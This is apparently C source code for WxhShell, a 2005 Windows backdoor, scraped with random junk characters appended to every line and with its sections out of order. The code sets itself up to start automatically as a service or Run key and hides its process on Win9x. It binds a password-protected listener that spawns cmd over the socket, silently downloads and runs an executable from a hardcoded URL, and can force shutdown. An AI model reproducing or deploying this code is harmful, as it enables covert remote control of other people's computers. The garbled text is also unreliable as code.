    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]z/Zq  
    if(Boot(SHUTDOWN)) p)aeH`;O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Ig68dFf%  
    else { _VE^/;$"l  
    closesocket(wsh); bmgncwlz  
    ExitThread(0); $+JS&k/'m  
    } U>Ld~cw  
    break; K6/@]y%Wr  
    } r3E!dTDWq  
  // 获取shell G!w"{Bk?9  
  case 's': { {8$=[;  
    CmdShell(wsh); %nN `|\  
    closesocket(wsh); 5r~# 0Zf*  
    ExitThread(0); 5 @U<I  
    break; 3E3U /K  
  } sUZX }  
  // 退出 [^CV>RuO  
  case 'x': { [.se|]t7X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Od+6 -J  
    CloseIt(wsh); [x=jH>Y  
    break; Kl7WQg,XOi  
    } PyVC}dUAX  
  // 离开 %^sTU4D5  
  case 'q': { 1"Z@Q`}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }En  
    closesocket(wsh); !+>v[(OzM  
    WSACleanup(); A?_=K  
    exit(1); ZkL8e  
    break; ]]7 mlQ  
        } O[tvR:Nh  
  } f-DL:@crU  
  } Jk@]tAwoM  
7C#`6:tI  
  // 提示信息 {3;AwhN0H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &'cL%.  
} !!@A8~H  
  } valtev0<  
L,y6^J!  
  return; 8n1'x;  
} ! cKz7?w  
B9p?8.[  
// shell模块句柄 s { #3r  
int CmdShell(SOCKET sock) Uc/+gz Z;  
{ #/PAA  
STARTUPINFO si; DPi_O{W>  
ZeroMemory(&si,sizeof(si)); 5T sUQc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HeBcT^a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F, U*yj  
PROCESS_INFORMATION ProcessInfo; @SCI"H%[  
char cmdline[]="cmd"; J>fQNW!{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +"9hWb5  
  return 0; g^*<f8 ~d  
} ;^t{Il'j  
N0hE4t  
// 自身启动模式 dJ$"l|$$  
int StartFromService(void) fXrXV~'8  
{ 93t9^9  
typedef struct %%(R@kh9  
{ G\|,5HED  
  DWORD ExitStatus; s4&^D<  
  DWORD PebBaseAddress; zD?oXs  
  DWORD AffinityMask; ~y=T5wt  
  DWORD BasePriority; Kw#so; e  
  ULONG UniqueProcessId; P[s8JDqu  
  ULONG InheritedFromUniqueProcessId; fw ,\DFHO  
}   PROCESS_BASIC_INFORMATION; Aw&tP[N[  
* #TUGfwy  
PROCNTQSIP NtQueryInformationProcess; .<kqJ|SVi  
KNH1#30 K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v<Bynd-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y% :4b@<  
2]%h$f+  
  HANDLE             hProcess; !i=nSqW  
  PROCESS_BASIC_INFORMATION pbi; 9UvXC)R1  
J2uZmEt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N0#JOu}~  
  if(NULL == hInst ) return 0; [@yV!#2  
=8U&[F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q:J^"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7GDHz.IX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kdGT{2u  
^eW}XRI  
  if (!NtQueryInformationProcess) return 0; J\ e+}{  
JN7k2]{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N},n `Yl.  
  if(!hProcess) return 0; Jx'i2&hGN  
M'_9A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JxyB(  
q^6+!&"  
  CloseHandle(hProcess); A*W) bZs.  
6e7{Iy  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )7_"wD` z  
if(hProcess==NULL) return 0; GR\5WypoJ  
DY[$"8Kxcp  
HMODULE hMod; YM5fyv?  
char procName[255]; y"Nsh>h  
unsigned long cbNeeded; a# c6[!   
^ns@O+Fk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eb*#'\~'  
~o n(3|$  
  CloseHandle(hProcess); 7RZh<A>m  
0OGCilOb*  
if(strstr(procName,"services")) return 1; // 以服务启动 ~a xjjv  
CKA;.sh  
  return 0; // 注册表启动 Rp$}YN  
} EI\9_}@,  
.7n\d55a  
// 主模块 *Vho?P6y\Y  
int StartWxhshell(LPSTR lpCmdLine) y-CX}B#j  
{ "?| > btr  
  SOCKET wsl; o/ui)U_   
BOOL val=TRUE; Y#g4$"G9  
  int port=0; \W%UZs  
  struct sockaddr_in door; k__$ Q9qj(  
_'#x^D  
  if(wscfg.ws_autoins) Install(); Y@ZaJ@%9@  
@)K%2Y`  
port=atoi(lpCmdLine); s|D>-  
LdB($4,  
if(port<=0) port=wscfg.ws_port; 3"rzb]=R  
wY"Q o7  
  WSADATA data; 7.j[a*^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .; &# )l  
A'nq}t 3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Znetzm=0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cW+t#>' r  
  door.sin_family = AF_INET; ,K^4fL$C;3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Oh4AsOj@  
  door.sin_port = htons(port); `c'W-O/  
Yq/.-4 y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  YBnA+l*  
closesocket(wsl); itzyCw2|#  
return 1; <7Ae-!>x  
} IJ/sX_k  
e${)w-R/e  
  if(listen(wsl,2) == INVALID_SOCKET) { }W ^: cp  
closesocket(wsl); ~b:Rd{  
return 1; T 6~_Q}6  
} T7f ${  
  Wxhshell(wsl); H OBP`lf  
  WSACleanup(); hS9;k9w  
w4fW<ISg  
return 0; +kFxi2L6  
,6r{VLN  
} B*E2.\~  
i<(Xr  
// 以NT服务方式启动 Dr6A ,3B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bBY^+c<  
{ `8FUX= Sh  
DWORD   status = 0; ZNx$r]4nF  
  DWORD   specificError = 0xfffffff; T,$WlK Wj  
kCXdGhb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y F*OU"2U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^gFqRbuS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; is/scv<  
  serviceStatus.dwWin32ExitCode     = 0; *OyHHq|>q  
  serviceStatus.dwServiceSpecificExitCode = 0; T\r@5Xv  
  serviceStatus.dwCheckPoint       = 0; It75R}B   
  serviceStatus.dwWaitHint       = 0; !\ g+8>  
Zc?ppO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :f$xQr4Qz  
  if (hServiceStatusHandle==0) return; uB7 V?A  
bb d.  
status = GetLastError(); %sRUh0AL  
  if (status!=NO_ERROR) _@R0x#p5M  
{ 1 1cWy+8D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5pn)yk~  
    serviceStatus.dwCheckPoint       = 0; (xq%  
    serviceStatus.dwWaitHint       = 0; ?h1H.s2X  
    serviceStatus.dwWin32ExitCode     = status; =r@vc  
    serviceStatus.dwServiceSpecificExitCode = specificError; z'`y,8Y1l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F0690v0mB[  
    return; f#Xyoa%  
  } Sua[O$  
+\r+n~w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1J' 3g  
  serviceStatus.dwCheckPoint       = 0; }=!,o  
  serviceStatus.dwWaitHint       = 0; )7:J[0ZiQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o`.R!wm:W  
} `N5|Ho*C  
K x~|jq  
// 处理NT服务事件,比如:启动、停止 A7c/N=Cp^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pNRk.m]  
{ "gD-8C3  
switch(fdwControl) %r+vSGt;5  
{ F9*g=  
case SERVICE_CONTROL_STOP: p7H3J?`w1+  
  serviceStatus.dwWin32ExitCode = 0; 5cWw7V<m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =v*.p=r  
  serviceStatus.dwCheckPoint   = 0; PH{_ ,X  
  serviceStatus.dwWaitHint     = 0; rL5z]RY  
  { t5lO'Ll*Q]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b9XW9O `B  
  } !|<=ZF2  
  return; zuJtpMn  
case SERVICE_CONTROL_PAUSE: YA&g$!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; > 0<)=  
  break; CZbYAxNl  
case SERVICE_CONTROL_CONTINUE: :EHJ\+kejX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Oq3A#6~  
  break; WF\)fc#;_o  
case SERVICE_CONTROL_INTERROGATE: ZR\VCVH\^  
  break; 21(p|`X  
}; &[hLzlrg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vp(;W,ba:|  
} =LTmr1?  
*kIc9}  
// 标准应用程序主函数 =f(cH152T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V _c @b%  
{ W14 Vm(`N  
jg&E94}+  
// 获取操作系统版本 c`fG1s  
OsIsNt=GetOsVer(); )yo a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^V %rag  
!cGDy/ |  
  // 从命令行安装 "HYQqNj?Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2On_'^O  
fQP{|+4  
  // 下载执行文件 RyRpl*^  
if(wscfg.ws_downexe) { Pm$q]A~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I7&_Xr  
  WinExec(wscfg.ws_filenam,SW_HIDE); }y%oT P&  
} [{r}u  
&gI~LP  
if(!OsIsNt) { i>[_r,-\[  
// 如果时win9x,隐藏进程并且设置为注册表启动 u=YX9Mo!  
HideProc(); Qeu\&%C!<  
StartWxhshell(lpCmdLine); ?h!i0Rsm  
} qp}Ma8+  
else '<0J@^vZ  
  if(StartFromService()) I=;+n-  
  // 以服务方式启动 lHZU iB  
  StartServiceCtrlDispatcher(DispatchTable); ^GBe)~MT  
else ,j5&6X=1M  
  // 普通方式启动 l$hJE;n  
  StartWxhshell(lpCmdLine); S1U@UC  
zm,@]!wI  
return 0; we#wH-  
} -n0C4kZ2o  
f7I{WfZ\P  
5E0eyW  
~y$ !48o  
=========================================== !`mZ0c+  
,E|m.  
$3,ryXp7  
d(:3   
u0`%+:]0  
p!/[K6u  
" Z#.f&K )xX  
45&8weXO:'  
#include <stdio.h> {Q<$Uo6V  
#include <string.h> M_LXg%  
#include <windows.h> *H[Iq!@  
#include <winsock2.h> +ht| N[P  
#include <winsvc.h> P00f 6  
#include <urlmon.h> 6'W[{gzl  
-TZ p FT"  
#pragma comment (lib, "Ws2_32.lib") >]%8Zx[  
#pragma comment (lib, "urlmon.lib") }KD;0t4  
[&*6_q"V  
#define MAX_USER   100 // 最大客户端连接数 2m>-dqg  
#define BUF_SOCK   200 // sock buffer l6kmS  
#define KEY_BUFF   255 // 输入 buffer AfC>Q!-w  
.qA{xbu  
#define REBOOT     0   // 重启 FWC5&tM  
#define SHUTDOWN   1   // 关机 P_u|-~|\  
f+.T^es  
#define DEF_PORT   5000 // 监听端口  d^(1TNS  
O@iu aeEW  
#define REG_LEN     16   // 注册表键长度 M.td^l0  
#define SVC_LEN     80   // NT服务名长度 S^Au#1e   
}qjCTEs}  
// 从dll定义API v_<2H' *Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RwVaZJe)l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1oKfy>ie  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _W3Y\cs,-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $W;b{H=F  
b6E<r>q  
// wxhshell配置信息 *1@:'rJ  
struct WSCFG { { BEo &  
  int ws_port;         // 监听端口 iBudmT8  
  char ws_passstr[REG_LEN]; // 口令 gN {'UDg  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7DlOW1|  
  char ws_regname[REG_LEN]; // 注册表键名 7FO'{Qq  
  char ws_svcname[REG_LEN]; // 服务名 xmGk*W)P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KS*oxZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]4 (?BJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [ $fJRR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ZX~ _g@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /=?ETth @  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Npn=cLC&  
H.G!A6bd  
}; %PJhy2  
ftBq^tC  
// default Wxhshell configuration $<p8TtI=YQ  
struct WSCFG wscfg={DEF_PORT, h.K(P+h  
    "xuhuanlingzhe", oVCmI"'  
    1, I?Q+9Rmm`J  
    "Wxhshell", fa.0I~  
    "Wxhshell", zhB">j8j  
            "WxhShell Service", (cv!Y=]  
    "Wrsky Windows CmdShell Service", !G_jGc=v  
    "Please Input Your Password: ", [0[M'![8M  
  1,  BGzI  
  "http://www.wrsky.com/wxhshell.exe", E2B>b[  
  "Wxhshell.exe" amQz^^  
    }; 7-_vY[)/  
~:_0CKa!  
// 消息定义模块  uIMe  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9N[EZhW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `B8tmW#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nT#JOmv  
char *msg_ws_ext="\n\rExit."; x|eeRf|  
char *msg_ws_end="\n\rQuit."; s~26  
char *msg_ws_boot="\n\rReboot..."; +CM7C%U   
char *msg_ws_poff="\n\rShutdown..."; djT5 X  
char *msg_ws_down="\n\rSave to "; d77r9  
-v?hqWMp#  
char *msg_ws_err="\n\rErr!"; 7t-Lz| $"  
char *msg_ws_ok="\n\rOK!"; ^%y`u1ab  
{F|48P;J  
char ExeFile[MAX_PATH]; .I$}KE)  
int nUser = 0; ^;F{)bmu+)  
HANDLE handles[MAX_USER]; ezTZnutZ  
int OsIsNt; G[idN3+#  
.]Mn^2#j  
SERVICE_STATUS       serviceStatus; y|_Eu:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; OY"6J@[z  
ZkB3[$4C=5  
// 函数声明 VF0dE  
int Install(void); 6gOe!m m  
int Uninstall(void); NBl __q  
int DownloadFile(char *sURL, SOCKET wsh); O_K_f+7  
int Boot(int flag); \Btk;ivg  
void HideProc(void); [RU NuO  
int GetOsVer(void); oQ+61!5>  
int Wxhshell(SOCKET wsl); L4f7s7rJ  
void TalkWithClient(void *cs); Y@F  
int CmdShell(SOCKET sock); pw'wWZE'  
int StartFromService(void); YnV/M,U  
int StartWxhshell(LPSTR lpCmdLine); MEwdw3  
|)_-Bi;MW`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZI ?W5ISdg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6ew "fCrH!  
2H?d+6Pt3  
// 数据结构和表定义 %c^ m\ E  
SERVICE_TABLE_ENTRY DispatchTable[] = yZ}d+7T}  
{ +~2rW8  
{wscfg.ws_svcname, NTServiceMain}, ,yLw$-  
{NULL, NULL} iz}sM>^  
}; Qu{c B^Ga*  
+_HdX w#  
// 自我安装 k4KHS<n0  
int Install(void) C>|@& o1  
{ {,O`rW_eS  
  char svExeFile[MAX_PATH]; aw}+'(?8]  
  HKEY key; \Rk$t7ZH  
  strcpy(svExeFile,ExeFile); p*;Qz  
"EftN5?/  
// 如果是win9x系统,修改注册表设为自启动 qg,Nb  
if(!OsIsNt) { zXc}W*ymj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xQt 3[(Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a}.Y!O&  
  RegCloseKey(key); :\V,k~asl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g{pQ4jKF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6*1$8G`$8,  
  RegCloseKey(key); _py2kjA6  
  return 0; 0kCQ0xB[a5  
    } J+<p+(^*v  
  } T%CxvZ  
} [5pCL0<c@  
else { W7G9Kx1Y  
E*v]:kok  
// 如果是NT以上系统,安装为系统服务 tGqCt9;<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7$b?m6fmK  
if (schSCManager!=0) +p/1x'J  
{ Nh)[r x  
  SC_HANDLE schService = CreateService ekzjF\!y  
  ( Go+[uY^  
  schSCManager, _GbE ^  
  wscfg.ws_svcname, ]O!s 'lC  
  wscfg.ws_svcdisp, fCEz-TMW  
  SERVICE_ALL_ACCESS, ~LE[, I:q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |ViU4&d*  
  SERVICE_AUTO_START, RLKj u;u  
  SERVICE_ERROR_NORMAL, ~oi_r8 K  
  svExeFile, Rlc$; Z9K  
  NULL, rpU/s@%L  
  NULL, v}il(w;O  
  NULL, a[O6YgO  
  NULL, .1ddv4Hk  
  NULL >,g5Hkmqr  
  ); N <pbO#e  
  if (schService!=0) k0&lu B%  
  { r#~K[qb  
  CloseServiceHandle(schService);  t9*=  
  CloseServiceHandle(schSCManager); <lld*IH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =l|>.\-  
  strcat(svExeFile,wscfg.ws_svcname); <NQyP{p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {$TZ}z"DA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aV|k}H{wt  
  RegCloseKey(key); Ku%6$C!,  
  return 0; |>s v8/!  
    } 44C+h    
  } Fd !iQ  
  CloseServiceHandle(schSCManager); >rRf9wO1l  
} .98.G4J>  
} M]ap:  
u:4["ViC  
return 1; tyXl}$)y  
} #Go(tS~o  
W]LQ &f  
// 自我卸载 <3#<I)#  
int Uninstall(void) :,C%01bH|l  
{ utd:&q|}  
  HKEY key; +{&+L0DfH~  
y\_wWE  
if(!OsIsNt) { -lp"#^ ;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^-L{/'[8M  
  RegDeleteValue(key,wscfg.ws_regname); rsSue_Q  
  RegCloseKey(key); p+D=}O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b{HhS6<K?  
  RegDeleteValue(key,wscfg.ws_regname); .;%q/hP  
  RegCloseKey(key); i ^S2%qz  
  return 0; y*KC*/'"  
  } PdM*5g4  
} {W'8T}q  
} 6e:P.HqjA  
else { |F~88j{VN  
T:#S86m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +wts 7,3  
if (schSCManager!=0) l4 `^!  
{  ("F)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Kfd_uXL>  
  if (schService!=0) NTVHnSoHh  
  { ,Qo}J@e(  
  if(DeleteService(schService)!=0) { nhT;b,G.Z  
  CloseServiceHandle(schService); $F1_^A[  
  CloseServiceHandle(schSCManager); 3B"7VBK{  
  return 0; As}eUm)B5c  
  } .WO/=# O  
  CloseServiceHandle(schService); qhwoV4@f  
  } kC|Tubs(  
  CloseServiceHandle(schSCManager); f#mx:Q.7I  
} a8NVLD>7}  
} ^+a  
gD5P!}s[u0  
return 1; {|p"; uJ  
} B$DZ]/<  
^hysCc  
// 从指定url下载文件 7AeP Gr  
int DownloadFile(char *sURL, SOCKET wsh) o#dcD?^  
{ ~1d!hq?/q  
  HRESULT hr; GMT or  
char seps[]= "/"; zze z~bv7:  
char *token; 8vO;IK]9b^  
char *file; =?+w)(*0c  
char myURL[MAX_PATH]; xtsL8-u f  
char myFILE[MAX_PATH]; iRouLd  
rV U:VL`2  
strcpy(myURL,sURL); :B+Rg cqi  
  token=strtok(myURL,seps); To^# 0  
  while(token!=NULL) /THNP 8.  
  { OT%V{hD  
    file=token; yI:r7=KO  
  token=strtok(NULL,seps); vh{9'vd3el  
  } [lOf|^9  
,N0uR@GN  
GetCurrentDirectory(MAX_PATH,myFILE); 9IOGc}  
strcat(myFILE, "\\"); F1\`l{B,\  
strcat(myFILE, file); &! OGIYC(  
  send(wsh,myFILE,strlen(myFILE),0); qlEFJ5;  
send(wsh,"...",3,0); E{I) ]h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y,^";7U  
  if(hr==S_OK) 1h{>[ 'L  
return 0; \"J?@  
else (`F|nG=X  
return 1; jF4csO=E  
(>mi!:  
} ?^Pq/VtZ  
KZW'O b>[  
// 系统电源模块 $(XgKq&xWZ  
int Boot(int flag) db^aL8  
{ {GK(fBE  
  HANDLE hToken; DQMPAj.  
  TOKEN_PRIVILEGES tkp; *3P3M}3~\  
HIsB|  
  if(OsIsNt) { x!`b'U\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A1=_nt)5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =hPG_4#  
    tkp.PrivilegeCount = 1; \a?K?v|8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [u7 vY@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PqVW'FYe  
if(flag==REBOOT) { Y>G*'[U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <_>.!9q  
  return 0; (Hl8U  
} &0JK38(  
else { Y+5"uq<'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _HLC>pH~#  
  return 0; /%5_~Jkr,  
} ;m' '9z)2  
  } E*OG-r   
  else { A3z/Bz4]:#  
if(flag==REBOOT) { z'_&|-m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .#sz|0  
  return 0; ,%[LwmET  
} J"5jy$30'$  
else { 0hFH^2%UY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |>Z&S=\I)  
  return 0; xv^Sh}\}  
} abL/Y23 "  
} FOc|*>aKP  
2YE7 23H=Z  
return 1; 3IGCl w(  
} :fRmUAK%  
Z^{+,$H@  
// win9x进程隐藏模块 Sf=F cb  
void HideProc(void) O@nqHZ  
{ E(% XVr0W  
AfUZO^<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qQL.c+%L  
  if ( hKernel != NULL ) 5dqQws-,?1  
  { 7Pwg+|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qw|JJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o>@=N2n  
    FreeLibrary(hKernel); sZ]'DH&_(  
  } )@!~8<_"  
HOq4i !  
return; 5/ tj  
} 7AI3|Ts]p  
J`YnT  
// 获取操作系统版本 v#iFQVBq  
int GetOsVer(void) 4 #aqz9k  
{ %)8d{1at  
  OSVERSIONINFO winfo; K*HCFqr U"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K2*1T+?X  
  GetVersionEx(&winfo); I$+%~4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y+?=E g  
  return 1; +mivqR~{{  
  else :G^"e  
  return 0; 3T" #T&eL  
} HmhUc,EC  
 qe[  
// 客户端句柄模块 VPWxHVf  
int Wxhshell(SOCKET wsl) aF,j J}On  
{ mPckf  
  SOCKET wsh; (L`l+t1  
  struct sockaddr_in client; ;0;3BH A  
  DWORD myID; G XarUjs  
Yr5iZ~V$  
  while(nUser<MAX_USER) {EOn r1  
{ -E6Jf$  
  int nSize=sizeof(client); j\!~9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y_$^:LG  
  if(wsh==INVALID_SOCKET) return 1; = vY]G5y  
M`)s>jp@w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m &9)'o  
if(handles[nUser]==0) \P*PjG?R  
  closesocket(wsh); v$[ @]`  
else 9cVn>Fb  
  nUser++; |VTWw<{LX  
  } V/`#B$6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l{nB.m2  
)\um "l*\c  
  return 0; qnabwF  
} J'|=*#  
DhY;pG,t  
// 关闭 socket B1x'5S;Bq  
void CloseIt(SOCKET wsh) {'h)  
{ c zZrP"  
closesocket(wsh); I h5/=_n  
nUser--; $|>6z_3%  
ExitThread(0); ny278tr Q7  
} ?+bTPl;%'  
Tf9&,!>V  
// 客户端请求句柄 JCM)N8~i  
void TalkWithClient(void *cs) WA<H  
{ mw:3q6  
)W[KD,0+j  
  SOCKET wsh=(SOCKET)cs; QV`X?m  
  char pwd[SVC_LEN]; eA~J4k_  
  char cmd[KEY_BUFF]; K{, W_ ^  
char chr[1]; ^fA3<|  
int i,j; @:S$|D~  
yfPCGCOW?  
  while (nUser < MAX_USER) { H%*~l  
A28ZSL  
if(wscfg.ws_passstr) { @uQ%o%Ru6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r$b:1C~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !JT< (I2  
  //ZeroMemory(pwd,KEY_BUFF); gUks O!7^1  
      i=0; on]\J  
  while(i<SVC_LEN) {  ~Y1"k]J  
Hi9 G^Q  
  // 设置超时 o%vIkXw  
  fd_set FdRead; N5:D8oWWXR  
  struct timeval TimeOut; nvU+XCx  
  FD_ZERO(&FdRead); /uy&2l  
  FD_SET(wsh,&FdRead); @#bBs9@gv  
  TimeOut.tv_sec=8; [37f#p  
  TimeOut.tv_usec=0; w k-Mu\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N2[, aU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L~^e\^sP  
1.hOE>A%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;yRwoTc)Y  
  pwd=chr[0]; .a 'ETNY:>  
  if(chr[0]==0xd || chr[0]==0xa) { _DNkdS [[  
  pwd=0; `l HKQwu  
  break; @)aXNQY  
  } x(C]O,  
  i++; >xxXPvM<`  
    } 0!3!?E <  
/ e~  
  // 如果是非法用户,关闭 socket n`FQgC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F!z! :yp  
} 2jI4V;H8g  
5O;/ lX!u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [i,5>YIk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )a4E&D  
,U|u-.~ZU  
while(1) { Z&~k]R0y  
=2ATqb"$w  
  ZeroMemory(cmd,KEY_BUFF); kcg)_]~6  
Wh#_9);  
      // 自动支持客户端 telnet标准   y>)mSl@1y  
  j=0; w3>Y7vxiz`  
  while(j<KEY_BUFF) { cHqvkN`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y-}hNZn"{  
  cmd[j]=chr[0]; kw*Cr/'*  
  if(chr[0]==0xa || chr[0]==0xd) { '^P*F9  
  cmd[j]=0; R7\{w(`K  
  break; $5q{vy  
  } ?X8K$g  
  j++; lB5[#z  
    } %xH>0  
+1JZB* W  
  // 下载文件 puf;"c6e'  
  if(strstr(cmd,"http://")) { )_x8?:lv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 30gZ_ 8C>}  
  if(DownloadFile(cmd,wsh)) C%x(`S^/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "K4X:|Om"  
  else S2{ ?W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BDB zc5Q(  
  } l*m]2"n]  
  else { Og%zf1)aZM  
eAenkUBz6,  
    switch(cmd[0]) { e\|E; l  
